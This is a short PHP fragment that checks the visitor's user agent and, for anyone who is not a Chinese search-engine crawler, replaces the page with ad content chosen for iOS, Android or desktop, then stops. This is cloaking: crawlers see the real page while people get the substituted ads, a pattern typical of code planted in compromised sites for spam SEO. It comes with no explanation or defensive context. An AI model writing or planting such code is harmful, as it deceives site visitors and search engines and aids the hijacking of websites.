<?php
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$baiduspider = stripos($agent, 'Baiduspider');
if ($userads) {
	if (stripos($agent, 'Baiduspider') === false && stripos($agent, '360Spider') === false && stripos($agent, 'Sogou') === false && stripos($agent, 'YisouSpider') === false && stripos($agent, 'Sosospider') === false && stripos($agent, 'Bytespider') === false){
		if (strpos($agent, 'iphone') || stripos($agent, 'ipad') || stripos($agent, 'ipod')) {
			$wuren = file_get_contents(__DIR__ . $ad_ios_lj);
		} else {
			if (strpos($agent, 'android')) {
				$wuren = file_get_contents(__DIR__ . $ad_android_lj);
			} else {
				$wuren = file_get_contents(__DIR__ . $ad_pc_lj);
			}
		}
		echo $wuren;
		exit;
	}
}

?>